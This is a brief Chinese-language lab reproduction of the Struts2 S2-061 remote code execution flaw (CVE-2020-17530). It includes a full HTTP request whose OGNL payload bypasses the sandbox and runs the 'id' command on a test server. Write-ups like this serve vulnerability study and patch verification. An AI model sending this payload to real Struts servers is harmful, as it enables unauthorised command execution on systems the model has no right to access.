Struts2 S2-061 远程代码执行漏洞 (CVE-2020-17530)

Struts2 S2-061 远程代码执行漏洞 (CVE-2020-17530)

在 Struts 2.5.25 之前的版本中,当对标签属性中的原始用户输入进行评估时,可能会导致远程代码执行。

此漏洞是绕过 OGNL 沙箱,在 S2-059 之后增强。

参考:

漏洞复现

启动一个 Struts 2.5.25 服务器:环境启动后,访问http://192.168.44.132:8080/,会看到一个简单的页面。它只是S2-059的一个复制应用程序,除了不同的 Struts 版本。

发送以下请求以执行id命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.action HTTP/1.1
Host: 192.168.44.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

可以看到该id命令的结果会显示在页面上:

image-20220218140323275

0%